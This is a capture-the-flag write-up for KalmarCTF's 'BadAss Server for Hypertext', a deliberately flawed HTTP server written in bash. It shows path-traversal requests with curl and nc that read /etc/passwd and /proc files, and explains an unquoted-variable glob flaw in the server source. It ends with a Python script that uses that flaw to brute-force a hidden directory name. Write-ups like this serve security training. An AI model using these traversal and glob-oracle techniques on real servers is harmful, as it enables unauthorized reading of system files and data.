---
# System prepended metadata

title: KalmarCTF BadAss Server for Hypertext

---

# BadAss Server for Hypertext

Writeup by [r2uwu2](https://github.com/r2dev2)

> I wrote my own HTTP server. I have to admit: the code is a bit cursed, but it works! So no problem, right?

![image](https://hackmd.io/_uploads/S1jJ4RQRa.png)

[toc]

## Application

Looking at the first request to the server,

![image](https://hackmd.io/_uploads/B1smA5XRa.png)

It's bash 💀.

## LFI

There is url <http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/iceberg.jpg> on the page to request an image, let us try an LFI.

```
$: curl --path-as-is "http://chal-kalmarc.tf:8080/assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

We can lfi now. Let us try to get the application source code.

Some more info is revealed on error:

![path](https://hackmd.io/_uploads/r1kX4om06.png)

We know that the application has an `/app` folder and a `/static/assets` in it.

I was trying to read `/proc/self/status` but would receive an empty string. To look into this further, I tried sending a raw HTTP request with `nc`.

```bash!
(echo "GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../proc/meminfo HTTP/1.1"; echo; echo; sleep 1) | nc chal-kalmarc.tf 8080
```

The above command returned me the `/proc/meminfo` yay.

With this truly arbitrary read, I decided to try leaking the `cmdline` and `environ` of some of the initial `PID`. I found that `PID=1` was `socat` and from the `cmdline`, I found that the path to the server is `/app/badass_server.sh`.

![image](https://hackmd.io/_uploads/HyWMtsm0T.png)

## Find Flag

From here, I was fairly stumped. I had to figure out a way to get the flag. However, I don't even know where the flag is, so I might need RCE.

Looking through the source code for `badass_server.sh`, it's fairly hard to see anything wrong with the code.

```bash=
#!/bin/bash

# I hope there are no bugs in this source code...

set -e

declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"

abort() {
	declare -gA response_headers
	status="400 Bad Request"
	write_headers
	if [ ! -z ${1+x} ]; then
		>&2 echo "Request aborted: $1"
		echo -en $1
	fi
	exit 1
}

write_headers() {
	response_headers['Connection']='close'
	response_headers['X-Powered-By']='Bash'

	echo -en "HTTP/1.0 $status\r\n"

	for key in "${!response_headers[@]}"; do
		echo -en "${key}: ${response_headers[$key]}\r\n"
	done

	echo -en '\r\n'

	>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}

receive_request() {
	read -d $'\n' -a request_line

	if [ ${#request_line[@]} != 3 ]; then
		abort "Invalid request line"
	fi

	method=${request_line[0]}

	uri=${request_line[1]}

	protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')

	if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
		abort "Invalid request method"
	fi

	if [[ ! $uri =~ ^/ ]]; then
		abort 'Invalid URI'
	fi

	if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
		abort 'Invalid protocol'
	fi

	while read -d $'\n' header; do
		stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')

		if [ -z "$stripped_header" ]; then
			break;
		fi

		header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
		header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');

		if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
			abort "Invalid header name";
		fi

		# If header already exists, add value to comma separated list
		if [[ -v request_headers[$header_name] ]]; then
			request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
		else
			request_headers[$header_name]="$header_value"
		fi
	done

	body_length=${request_headers["content-length"]:-0}

	if [[ ! $body_length =~ ^[0-9]+$ ]]; then
		abort "Invalid Content-Length"
	fi

	read -N $body_length request_body
}

handle_request() {
	# Default: serve from static directory
	path="/app/static$uri"
	path_last_character=$(echo -n "$path" | tail -c 1)

	if [ "$path_last_character" == '/' ]; then
		path="${path}index.html"
	fi

	if ! cat "$path" > /dev/null; then
		status="404 Not Found"
	else
		mime_type=$(file --mime-type -b "$path")
		file_size=$(stat --printf="%s" "$path")

		response_headers["Content-Type"]="$mime_type"
		response_headers["Content-Length"]="$file_size"
	fi

	write_headers

	cat "$path" 2>&1
}

receive_request
handle_request
```

I can't sneak in a command injection anywhere to get RCE as everything is properly quoted. Or is it?

Looking at line 62, we have `[ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]`. Since `$protocol` is not quoted and `[` is simply an executable `/usr/bin/[`, `$protocol` will expand as a glob. We can use this to perform nefarious deeds.


Playing around with various globs, I found that when the glob matches two files, it causes a space in the expansion which bypasses the protocol check (try using `*` as the protocol). When I was trying to build up a prefix using a glob to find the flag file path, I found that the following glob bypasses the protocol check:

`(echo 'GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd [bs][at][ad][at][is]*[ch]'; echo; echo; sleep 1) | nc chal-kalmarc.tf 8080; echo`

It may seem very weird that each character only has two possible characters. Looking at it closer, it indicates that there exists a `badass.sh` and a `static` in the same directory as the glob is an interleaving of the two. We can use this to leak file paths as long as we know a file path in the directory.

I first thought that the flag was in `/`, but after a lot of trial and error, I was not able to find anything. I then looked at the inspect element for the website.

![image](https://hackmd.io/_uploads/rkINPCX0p.png)

There seem to be multiple folders in `assets/`, perhaps there is a folder with our flag.

With a manual test, I confirmed that there was a folder starting with `9` in `assets/`. I then decided to write a script to do this (I was doing this all by hand previously).

## Scripting Time

```python=
import socket
import string
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor

host = "chal-kalmarc.tf"
port = 8080

def test(glob):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.sendall(f"GET /assets/26c3f25922f71af3372ac65a75cd3b11/../../../../etc/passwd {glob}\n\n".encode())
        return b"OK" in s.recv(1024)

existing = "26c3f25922f71af3372ac65a75cd3b11"
prefix = "9"
owo = []
def work(s):
    pprefix = prefix + s
    query = "static/assets/"
    for e, p in zip(existing, pprefix):
        query += f"[{e}{p}]"
    query += "*"

    if test(query):
        owo.append(s)

def get_one():
    owo[:] = []
    with ThreadPoolExecutor(50) as pool:
        charset = string.hexdigits
        list(tqdm(pool.map(work, charset), total=len(charset)))
    return owo
while len(prefix) < len(existing):
    print(prefix, len(prefix) / len(existing))
    uwu = get_one()
    print(uwu, len(uwu))
    if len(uwu) == 1:
        prefix += uwu[0]
    if len(uwu) == 0:
        print("nooooo")
        exit()
    if len(uwu) > 1:
        prefix += existing[len(prefix)]
print(prefix)
```

It slowly built up to the full hex:

![image](https://hackmd.io/_uploads/rkMbuC7Ra.png)

I then tried visiting `flag.txt` in the folder and found the flag:

![image](https://hackmd.io/_uploads/SJqM_CQ06.png)
